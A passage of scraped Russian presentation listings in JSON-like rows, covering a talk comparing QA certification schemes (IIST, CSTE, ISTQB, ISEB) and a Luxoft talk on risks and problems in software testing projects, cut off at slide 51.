"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img11.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img12.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img13.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №14"
}
] |
https://mypresentation.ru/presentation/99611 | Сертификация QA Ревко Сергей, Intetics Co., Минск, Беларусь | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img0.jpg",
"description": "Сертификация QA Ревко Сергей, Intetics Co., Минск, Беларусь"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img1.jpg",
"description": "Что такое сертификация ? Сертификация — процедура подтверждения соответствия, посредством которой независимая организация удостоверяет в письменной форме, что специалист соответствует установленным требованиям."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img2.jpg",
"description": "Общие сведения На данный момент сертификация специалистов в области обеспечения качества набирает темпы. Существует множество сертификационных центров, которые специализируются по разным регионам. Существуют вендерные сертификация направленные на оценку знаний по определенным продуктам (QTP, LoadRunner,..), есть разные градации сертификатов (Foundation, Advanced, Expert). Для некоторых видов сертификации есть требования по стажу работы, для некоторых есть требования в обязательном посещении курсов и тренингов."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img3.jpg",
"description": "Наиболее известные сертификационные схемы IIST (Международный институт Тестирования Программного Обеспечения) CSTE (Институт обеспечения качества (QAI) ISTQB, ASTQB (Международная Коллегия по Квалификации Тестировщиков Программного Обеспечени) ISEB (Information Systems Examinations Board)"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img4.jpg",
"description": "IIST Международный институт Тестирования Программного Обеспечения (IIST) предлагает сертификацию (CSTP) сертификации с 1999 года. В настоящее время уже тысячи людей получили сертификаты соответствующие разным этапам программы CSTP. Состоит из 2 направлений: Certified Software Test Professional (CSTP) Certified Test Manager (CTM) Стоимость курса от 800$ Проходной бал 80% Обязательное требование – посещение курсов. Стоимость пересдачи 100$, разрешается только 1 пересдача, если она не положительно то обязательно повторное посещение курса. Подтверждение знаний через 3 года. Основной рынок – USA"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img5.jpg",
"description": "IIST"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img6.jpg",
"description": "CSTE Институт обеспечения качества (QAI) был создана в 1980 году как профессиональная ассоциация создана для обеспечение качества программного продукта. Процесс сертификации был начат в 1990 году. В настоящее время сертификация QAI, носит глобальный характер. С момента своего создания организация сертифицировала более 35000 ИТ специалистов в 43 странах. Данный институт имеет 6 сертификатов о области обеспечения качества: Certified Associate in Software Quality (CASQ) 100$ Certified Software Quality Analyst (CSQA) 350$ - 420$ Certified Manager of Software Quality (CMSQ) 450$ Certified Associate in Software Testing (CAST) 100$ Certified Software Tester (CSTE) 350$ - 420$ Certified Manager of Software Testing (CMST) 450$ Основной рынок – USA"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img7.jpg",
"description": "CSTE"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img8.jpg",
"description": "ISTQB/ ASTQB ISTQB был основан в Эдинбурге в ноябре 2002 года. Задачей ISTQB является поддержка одной, универсально принятого международной системы квалификации, путем предоставления основных учебных программ и путем установления руководящих принципов для аккредитации и экспертизы национальных советов. На данный момент сертификаты начального уровня получили более 100 тысяч человек. А продвинутого почти 12 тысяч специалистов. Существует следующая схема сертификатов: Начальный уровень (CTFL) Foundation Level Продвинутый уровень (CTАL) Advanced Level Test Manager Advanced Level Test Analysis Advanced Level Technical Test Analysis Уровень эксерта Expert Level"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img9.jpg",
"description": "ISTQB Стоимость не фиксированная и варьируется от 130$ до 300$ за 1 экзамен. (в зависимости от уровня и страны проведения) Проходной бал 65% Обязательное требование для продвинутого уровня 1 стаж работы в IT индустрии. Основной рынок - Европа"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img10.jpg",
"description": "ISEB ISTQB был основан в Эдинбурге в ноябре 2002 года. Задачей ISTQB является поддержка одной, универсально принятого международной системы квалификации, путем предоставления основных учебных программ и путем установления руководящих принципов для аккредитации и экспертизы национальных советов. На данный момент сертификаты начального уровня получили более 100 тысяч человек. А продвинутого почти 12 тысяч специалистов. Существует следующая схема сертификатов: Начальный уровень (CTFL) Foundation Level Продвинутый уровень (CTАL) Advanced Level Test Manager Advanced Level Test Analysis Advanced Level Technical Test Analysis Уровень эксерта Expert Level"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img11.jpg",
"description": "ISEB Проходной бал 65% Основной рынок - Австралия, Япония, Южная Африка, Бразилия."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img12.jpg",
"description": "Отличия ISTQB и ISEB"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img13.jpg",
"description": "Отличия ISTQB и ISEB Начальный уровень единый для обеих сертификационных программ. Такая ситуация является положительной, поскольку она предоставляет кандидату альтернативные варианты (то есть после завершения кандидатом начального уровня он может выбрать дальнейший путь). Как только начальный уровень пройден, различия между сертификации станет заметными. ISEB имеет средний уровень, предшествующий его практическому уровню, в то время переходного уровня ISTQB не имеет. ISEB использует силабус ISTQB для проведения ISEB сертификаций."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img14.jpg",
"description": "Сравнительный анализ сертификационных программ"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img15.jpg",
"description": "Какую схему сертификации выбрать ? Выбор схемы сертификации зависит от многих факторов, основным фактором по моему является доступность (отсутствие необходимости выезда за пределы своего государства), не большая стоимость и авторитет сертификационного органа."
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img16.jpg",
"description": "Какие приемущества дает сертификация? Наличие сертификата подтверждает наличие знаний у сертифицируемого на момент прохождения сертификации. Сертифицированного специалиста можно продать дороже. Многие крупные заказчики требуют наличие сертифицированных сотрудников в команде Человек, получивший сертификат в процессе подготовки изучал материал, который возможно будет полезен и востребован в будущей работе. В процессе подготовки человек систематизировал свои знания."
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img17.jpg",
"description": "Горькая пилюля Наличие сертификатов однозначно не подтверждает грамотность специалиста в какой-то области а лиш говарит о том, что данный человек на момент прохождения сертификации обладал знаниями соответствующими уровню сертифката."
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/26c723f688e6fcca821a3cd555bda582/img18.jpg",
"description": "Заключение"
}
] |
https://mypresentation.ru/presentation/99612 | Идентификация рисков и проблем тестирования Александр Александров УЦ Luxoft www.luxoft-training.ru | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img0.jpg",
"description": "Идентификация рисков и проблем тестирования Александр Александров УЦ Luxoft www.luxoft-training.ru"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img1.jpg",
"description": "Немного о себе 1963-1999 – Вычислительный центр Московского Государственного университета им. М.В. Ломоносова (студент, сотрудник) 1999-2005 – Luxoft (руководитель группы тестирования, тест-менеджер) 2006-2007 – Auriga (директор по качеству) С 2008 – Luxoft (эксперт по управлению качеством ПО) Кандидат физико-математических наук, доцент, старший научный сотрудник Сертифицированный инструктор университета Carnegie Mellon по тематике Quality Assurance"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img2.jpg",
"description": "Опыт работы Более 30 лет работы в области тестирования и обеспечения качества (МГУ, Luxoft, Auriga) Более 5 лет работы в области управления качеством (Luxoft, Auriga) Опыт cертификации ISO 9001 (Luxoft), CMM, CMMI (Luxoft, Аурига) Опыт внедрения процессов в рамках модели CMMI (Luxoft, Аурига) Сертификат обучения Project Management от Project Management Institute (2000) Сертификат обучения Introduction to Capability Maturity Model Integration v. 1.2 от ProceXpert (2007)"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img3.jpg",
"description": "Подготовка проекта Неполная оценка трудозатрат Производится только оценка трудозатрат всего проекта менеджером проекта Специалисты по тестированию не привлекаются ни к проведению оценки, ни к ревью получившейся оценки Недостаток ресурсов тестирования Недостаток времени для активностей тестирования Привлекать тестировщиков для ревью трудозатрат Проводить независимую оценку трудозатрат тестировщиками (PCB/PPB, методики, литература)"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img4.jpg",
"description": "Подготовка проекта Неполнота плана-графика работ по тестированию Вне связи с остальными работами проекта Поздний старт активностей по тестированию Только динамическое тестирование Недостаток времени / ресурсов на подготовку и проведение тестирования Низкое качество объекта тестирования Проводить ревью плана-графика Проводить разработку и согласование плана всех требуемых активностей по тестированию Использовать WBS тестирования"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img5.jpg",
"description": "Подготовка проекта Неполнота scope тестирования Необоснованные предположения о наличии/отсутствии конкретных видов тестирования (нагрузочного, конфигурационного и др.) Отказ от системного тестирования (достаточно интеграционного и компонентного) Только динамическое тестирование Необходимость перепланирования в условиях нехватки ресурсов Низкое качество объекта тестирования Проводить детальный анализ scope проекта Делать обоснованные предположения о наличии неявных требований, которые оказывают влияние на scope тестирования"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img6.jpg",
"description": "Стратегия тестирования Стратегия тестирования отсутствует и/или не поддерживается Отсутствие согласованного понимания порядка подготовки и проведения тестирования в проекте Хаотичная передача версий на тестирование Нет базы тестирования Низкое качество тестирования Риск нехватки ресурсов тестирования Разрабатывать стратегию тестирования Согласовывать и утверждать стратегию тестирования"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img7.jpg",
"description": "Стратегия тестирования Неполнота работы с требованиями (на примере Agile) Отсутствие формализованного описания требований (например, в виде СИС) трактуется как отсутствие требований Требованиями не занимается никто Нет базы тестирования Низкое качество тестирования Обучить тестировщиков работе с требованиями, представленными в любом виде Привлекать тестировщиков к работе с требованиями Планировать работы по анализу требований"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img8.jpg",
"description": "Стратегия тестирования Неполнота объема тестирования (на примере Agile) Тестирование производится исключительно в рамках Story tests / Sprint Backlogs Не проводится «системное» тестирование Нет гарантии работоспособности результата работы в целом Проблемы в последующих итерациях / спринтах Планировать и производить тестирование всей разработанной функциональности с точки зрения сценариев использования системы (или чего-то похожего) Для минимизации трудозатрат использовать средства автоматизированного тестирования"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img9.jpg",
"description": "Стратегия тестирования Неполнота объема тестирования (на примере итерационной модели) Отсутствие указания цели и объема тестирования для каждой итерации Надо ли тестировать прототип Низкое качество тестирования Невозможность выполнения незапланированных активностей Зафиксировать перечень объектов тестирования и объем тестирования для каждого из них Связать активности тестирования и активностей разработки"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img10.jpg",
"description": "Стратегия тестирования Неполнота критериев начала и завершения тестирования (целей по качеству) Отсутствуют критерии начала тестирования Отсутствие / Нечеткость классификации серьезности дефектов Нет понятия готовности объекта тестирования (модульное тестирование, BATS …) Коммуникационные проблемы с разработчиками (тестирование) и заказчиком (приемка) Разработать однозначные критерии начала и завершения тестирования для каждого этапа проекта"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img11.jpg",
"description": "Стратегия тестирования Неполнота рисков тестирования Не рассматриваются и не анализируются наряду с остальными проектными рисками Не используется исторический опыт рисков тестирования Тестирование становится неадекватно высоко рисковой частью проекта Высока вероятность неуспешного тестирования Совместно с менеджером проекта анализировать, рассматривать и отслеживать риски тестирования наряду со всеми проектными рисками"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img12.jpg",
"description": "Стратегия тестирования Особенности объекта тестирования Не учитываются особенности объекта тестирования (например, отсутствие пользовательского интерфейса, необходимость специальной среды тестирования) Нехватка (специально подготовленных) ресурсов тестирования Неадекватная среда тестирования Низкое качество тестирования Совместно с менеджером проекта анализировать особенности объекта тестирования и отражать принятые решения в стратегии теститрования"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img13.jpg",
"description": "Анализ требований Требования анализируются и разрабатываются без участия тестировщиков Участвуют только аналитики и проектировщики Тестировщики привлекаются после утверждения первой версии требований Тестировщики плохо знают предметную область проекта Замедление работы тестировщиков: приложение готово, план тестирования – нет Часть требований нельзя протестировать Проводить ревью требований тестировщиками Обучать тестировщиков предметной области проекта в рамках обучения проектной команды Выполнять анализ тестируемости требований до их утверждения"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img14.jpg",
"description": "Анализ требований Требования изменяются без участия тестировщиков Участвуют только аналитики и проектировщики Тестировщики не информируются об изменениях требований План тестирования не является актуальным Замедление работы тестировщиков: приложение готово для тестирования, а плана тестирования нет Неверные результаты тестирования (большое количество ложных дефектов, непротестированные области) Информировать тестировщиков об изменении требований Привлекать тестировщиков к обсуждению и планированию работ по изменению требований"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img15.jpg",
"description": "Анализ требований Требования не ранжированы по приоритетам Сомнительно, что все требования имеют одинаковый приоритет Нет возможности упорядочить и указать приоритеты для разработки и прогона тестовых сценариев Невозможность проведения первоочередного / тщательного тестирования ключевых требований Провести анализ существующих требований и определить приоритеты требований Учитывать эти приоритеты при определении очередности разработки и тестовых сценариев и покрытии требований тестовыми сценариями"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img16.jpg",
"description": "Анализ требований Требований в проекте нет Ситуация в принципе невозможная Имеется в виду либо отсутствие документально зафиксированных требований либо их высокая изменчивость Невозможность проведения тестирования по плану Невозможность адекватной оценки качества объекта тестирования Провести анализ существующих требований и способа их представления Разработать планы тестирования Применять планы тестирования"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img17.jpg",
"description": "Анализ требований Требования постоянно изменяются Абсолютно нормальная ситуация Имеется в виду отсутствие документально зафиксированных изменений требований Невозможность проведения тестирования по актуальному плану Невозможность адекватной оценки качества объекта тестирования Провести анализ существующих изменений требований и способа их представления Разработать актуальные версии планов тестирования Применять актуальные версии планов тестирования"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img18.jpg",
"description": "Анализ требований Нет аналитика – некому поддерживать требования Или «Давайте будем поддерживать все» Разница между ролью и ресурсом Невозможность создания актуального плана тестирования Невозможность адекватной оценки качества объекта тестирования Предусмотреть в плане-графике работы по сбору, анализу и поддержанию требований Наделить конкретный проектный ресурс ролью аналитика"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img19.jpg",
"description": "Дизайн Архитектура системы не учитывается при разработке стратегии тестирования Необходимо для повышения эффективности тестирования (например, нужен ли и как организовать доступ на уровне СУБД) Необходимо для организации интеграционного тестирования Неэффективное тестирование (большие затраты при скромных результатах) Знакомство тестировщиков с архитектурой системы Планирование тестирования с учетом архитектуры системы"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img20.jpg",
"description": "Дизайн Нет единого решения по пользовательским интерфейсам Неоправданный разнобой в реализации интерфейсов приложения Неудобство для заказчика Замечания тестировщиков на это тему игнорируются («Такого требования нет!») Низкое качество Usability объекта тестирования Не удается найти дефекты Usability Использовать как явные, так и подразумеваемые требования Специфицировать интерфейсы (документ, прототип, CLAF…)"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img21.jpg",
"description": "Дизайн У объекта тестирования отсутствует пользовательский интерфейс Непонятно, как «подобраться» к объекту тестирования Непонятно, как визуализировать фактический результат для сравнения с ожидаемым Замечания тестировщиков на это тему игнорируются Невозможность провести тестирование Использовать заглушки / тест-драйверы Планировать их разработку в стратегии тестирования и плане-графике проекта"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img22.jpg",
"description": "План тестирования Не анализируется покрытие требований тестовыми сценариями Нет соответствия приоритетов требований и степени их покрытия тестовыми сценариями Затруднительно установление соответствия дефекта требованию, которое он нарушает Низкое качество тестирования Низкое качество (скорость и эффективность) описания и исправления дефектов Покрытие требований тестовыми сценариями с учетом приоритетов"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img23.jpg",
"description": "План тестирования Оценка качества плана тестирования в процессе разработки Как определить, что разработка плана тестирования завершена Как определить качество разработанного плана тестирования Низкое качество плана тестирования – низкое качество тестирования Результаты ревью плана тестирования позволяют оценить его качество (PCB/PPB …)"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img24.jpg",
"description": "План тестирования Оценка качества плана тестирования в процессе применения Тестовые сценарии не находят дефектов Тестовые сценарии не находят существенных дефектов Тестовые сценарии находят одни и те же дефекты Неоправданно большие затраты на поиск дефектов Большое число пропущенных дефектов Пропущены существенные дефекты Мониторинг результативности тестирования Коррекция плана тестирования"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img25.jpg",
"description": "План тестирования Ревью плана тестирования не планируется и/или не проводится Считается сильно затратным Считается неэффективным План тестирования содержит дефекты Про эти дефекты никто не знает Они обнаруживаются при тестировании (хорошо, если это так) Планировать ревью плана тестирования аналитиками Планировать ревью требований тестировщиками"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img26.jpg",
"description": "План тестирования Тестовые сценарии не содержат деталей Конкретные действия тестировщика / инженера по автоматизации придумываются во время тестирования Затраты на воспроизведение действий при воспроизведении дефекта Низкое качество тестирования из-за неполного набора действий Невозможность проверки степени покрытия пользовательского интерфейса Зафиксировать требуемый уровень детальности в стратегии тестирования Проектировать и разрабатывать планы тестирования с учетом этого уровня детальности"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img27.jpg",
"description": "План тестирования Тестовые сценарии содержат детали Изменение требований и дизайна вызывает объемные изменения планов тестирования Затраты на обеспечение актуальности планов тестирования Затраты на переучивание тестировщиков Зафиксировать требуемый уровень детальности в стратегии тестирования Проектировать и разрабатывать планы тестирования с учетом этого уровня детальности Использовать двухуровневую структуру плана тестирования – тестовые сценарии и тесты"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img28.jpg",
"description": "План тестирования Проектирование и разработка тестовых данных не планируется и не производится Данные придумываются во время тестирования Данных недостаточно (например, используются только корректные данные) Тестирование миграции без проектирования тестовых данных невозможно Затраты на воспроизведение данных для воспроизведения дефекта Низкое качество тестирования из-за малого набора тестовых данных Проектировать и разрабатывать тестовые данные с использованием классов эквивалентности и граничных значений"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img29.jpg",
"description": "Автоматизация тестирования Автоматизация функционального тестирования применима в любом проекте Завышенные требования к команде тестировщиков Заниженная оценка трудозатрат на тестирование Невозможность проведения автоматизированного тестирования Поздний переход на ручное тестирование Детальный анализ целесообразности автоматизации тестирования"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img30.jpg",
"description": "Автоматизация тестирования Автоматизация функционального тестирования применима только для регрессионного тестирования Как правило, но не всегда Пример: проекты redevelopment Невозможность проведения ручного тестирования Рост затрат на ручное тестирование Детальный анализ целесообразности автоматизации тестирования"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img31.jpg",
"description": "Автоматизация тестирования Автоматизация функционального тестирования применима только при большом числе раундов тестирования Как правило, но не всегда Пример: проекты mission-critical Невозможность проведения ручного тестирования Рост затрат на ручное тестирование Детальный анализ целесообразности автоматизации тестирования"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img32.jpg",
"description": "Автоматизация тестирования Раннее проведение нагрузочного тестирования Исправление функциональных дефектов, как правило, вызывает перезапись и повторный прогон нагрузочных скриптов Как правило, но не всегда Пример: нагрузочное тестирование прототипа Необходимость выделения ресурсов для повторного проведения нагрузочного тестирования Детальное планирование момента проведения нагрузочного тестирования"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img33.jpg",
"description": "Автоматизация тестирования Неадекватная модель нагрузки Совокупность: ролей (кто работает) характеристических сценариев (что делает) профилей (доля и частота) не соответствует бизнесу заказчика Неадекватные результаты нагрузочного тестирования Несоответствие ожиданием заказчика Согласование модели нагрузки с заказчиком"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img34.jpg",
"description": "Среда тестирования Тестирование выполняется в среде разработки Путаница версий Нестабильность объекта тестирования (исправления «на лету») Невозможность обнаружения части дефектов Низкое качество тестирования Сложность коммуникаций с разработчиками (невозможность воспроизвести дефект) Создание обособленной среды тестирования Сборка объекта тестирования из baseline"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img35.jpg",
"description": "Среда тестирования Одна и та же среда тестирования для нескольких проектов Нестабильность объекта тестирования (влияние других проектов) Невозможность обнаружения части дефектов Неверные результаты нагрузочного тестирования Низкое качество тестирования Сложность коммуникаций с разработчиками (невозможность воспроизвести дефект) Создание обособленной среды тестирования Управление использованием среды тестирования для отдельных проектов"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img36.jpg",
"description": "Тестирование Тестирование проводится не по плану Крайне нежелательно! Иногда это – единственная возможность (например, для восстановления требований legacy system) Нет уверенности в правильности и полноте тестирования Повышенные требования к квалификации тестировщиков Детальный анализ невозможности построения планов тестирования"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img37.jpg",
"description": "Тестирование Дефекты, найденные вне плана тестирования, не приводят к его корректировке Сложности их повторной проверки Можно забыть, что такие дефекты были найдены Низкое качество регрессионного тестирования Повышенные требования к квалификации тестировщиков Регулярный анализ необходимости и проведение корректировки плана тестирования"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img38.jpg",
"description": "Тестирование Не хватает ресурсов тестирования Проанализировать, почему Невозможность выполнить запланированные работы в срок Установление причины нехватки ресурсов (заниженные оценки, низкое качество объекта тестирования, незнание требований и предметной области, изменение сроков тестирования) Перепланирование активностей тестирования Привлечение дополнительных ресурсов"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img39.jpg",
"description": "Тестирование Невозможно идентифицировать версию объекта тестирования Неясно, был ли обновлен объект тестирования Невразумительные сведения в системе управления дефектами – дефект найден и исправлен в одной и той же версии объекта тестирования Недостоверная статистика по дефектам Невозможно понять, например, обнаружен дефект или нереализованная функциональность Соглашение об идентификации версий Разработка и применение BATS (Build Acceptance Test Suite)"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img40.jpg",
"description": "Тестирование Объект тестирования не работоспособен Сбой в процессе сборки Отсутствие четкой регламентации процесса сборки (путаница версий кода) Потеря времени на тестирование неработоспособного объекта тестирования Неэффективное тестирование и большое количество «ложных» дефектов Разработка и применение BATS (Build Acceptance Test Suite)"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img41.jpg",
"description": "Тестирование Дефекты возникают из-за неверной конфигурации системы / среды тестирования Непонятно, как идентифицировать, где найден и где исправлен дефект Непонятно, как отличать от дефектов кода Невразумительные сведения в системе управления дефектами – дефект найден и исправлен в одной и той же версии объекта тестирования Недостоверная статистика по дефектам Принятие решения о регистрации и учете таких дефектов на корпоративном / проектном уровнях Классификация локализации дефекта (например, «Требования», «Дизайн», «Код», «Конфигурация», «Пользовательская документация» и др.)"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img42.jpg",
"description": "Тестирование Протоколы тестирования не создаются В них нет описания дефектов Если дефекты не найдены, то создание протоколов – пустая трата времени Нет данных об объеме проведенного тестирования Нет данных о качестве системы (непонятно, проверяли ли работу конкретной функциональности) Фиксировать результаты тестирования в максимально удобной для проектной команды форме (например, в матрице Test Run Coverage) Использовать автоматические средства протоколирования ручного тестирования"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img43.jpg",
"description": "Тестирование Метрики тестирования не используются Качественной оценки может быть недостаточно Трудно анализировать динамику выполнения проекта Работа с метриками требует проектной культуры Неточное / неверное представление о качестве объекта тестирования Выбрать / применить набор понятных и эффективных метрик тестирования (плотность дефектов, доля трудозатрат, эффективность поиска, доля серьезных дефектов и др.)"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img44.jpg",
"description": "Тестирование Коммуникация и исправление дефектов «на лету» Преимущество – скорость Недостатки: Отсутствие документирования и высокая вероятность повторного появления дефекта Невозможность идентификации верcии Годится как временная мера, в перспективе возникают проблемы (повторное появление дефектов, недокументированные дефекты) Сочетать с систематическим тестированием"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img45.jpg",
"description": "Тестирование Сокрытие дефектов ЧП! Негативные последствия для всей проектной команды Ничего не дает – заказчик все равно этот дефект обнаружит! Недостоверные данные о качестве объекта тестирования Не допускать возникновения такой ситуации Оперативно с ней бороться (в том числе и эскалацией проблемы) Разъяснять, что обнаруженный и исправленный дефект – это гораздо лучше, чем отсутствие дефекта"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img46.jpg",
"description": "Тестирование Пользовательская документация не тестируется Не запланировано тестирование документации (включая Help) Нет ресурсов для тестирования Тестируют только тестировщики - технические писатели ревью не проводят Низкое качество пользовательской документации (неполная, непонятная, не соответствующая реализации) Планировать и производить тестирование технической документации как путем ревью, так и в рамках системного тестирования"
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img47.jpg",
"description": "Тестирование Не проводится системное тестирование Системное тестирование не планируется Нет времени для системного тестирования Допустимо в проектах сопровождения Нет полной информации о качестве поставляемой системы (в частности, о наличии и серьезности дефектов) непосредственно перед началом приемо-сдаточных испытаний Планировать и производить системное тестирование"
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img48.jpg",
"description": "Приемка Не согласована процедура приемки Что предшествует и что следует за приемо-сдаточными испытаниями Каковы ожидания заказчика на момент приемки Кто принимает решение об успешном завершении проекта со стороны заказчика Проблемы во время приемки Задержка сдачи проекта и работа без оплаты заказчиком Планирование и согласование процедуры приемки (включая приемо-сдаточные испытания)"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img49.jpg",
"description": "Приемка Верификация и валидация Разница этих понятий Ликвидация (минимизация) расхождений между требованиями и ожиданиями заказчика Проблемы во время приемки Задержка сдачи проекта и работа без оплаты заказчиком Поддержка актуальности и приоритетов требований и их учет в плане приемо-сдаточных испытаний"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img50.jpg",
